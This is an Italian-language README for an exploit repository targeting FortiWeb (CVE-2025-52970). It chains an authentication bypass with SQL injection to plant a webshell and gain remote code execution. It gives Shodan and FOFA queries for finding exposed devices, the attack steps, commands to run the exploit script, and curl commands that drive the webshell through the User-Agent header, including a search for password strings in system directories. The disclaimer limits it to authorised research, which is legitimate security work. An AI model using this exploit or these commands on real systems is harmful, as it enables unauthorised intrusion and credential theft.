
Dimostra un bypass dell'autenticazione in FortiWeb (CVE-2025-52970) combinato con un'iniezione SQL per caricare una webshell e ottenere l'esecuzione remota di codice tramite header HTTP.
Questa repository dimostra un bypass dell'autenticazione in FortiWeb che può essere concatenato per ottenere Esecuzione remota di codice (RCE).
L'exploit sfrutta un endpoint vulnerabile per iniettare payload SQL, caricare una webshell ed eseguire comandi tramite header HTTP.
⚠️ Disclaimer:
Questo progetto è solo a scopo educativo e di ricerca.
NON utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
CVE: CVE-2025-52970
Componente: API Fabric di FortiWeb (/api/fabric/device/status)
Impatto: Bypass dell'autenticazione → SQL Injection → Caricamento webshell → RCE
Vettore: Header Authorization costruito ad hoc + SQL injection
Eliminare e creare una tabella SQL temporanea.
Scrivere il payload della webshell in blocchi.
Esportare la shell in /cgi-bin/x.cgi.
Caricare lo script Python di supporto per attivare i permessi.
Accedere alla webshell inviando comandi tramite l'header User-Agent.
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
3️⃣ Interagisci con la webshell
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
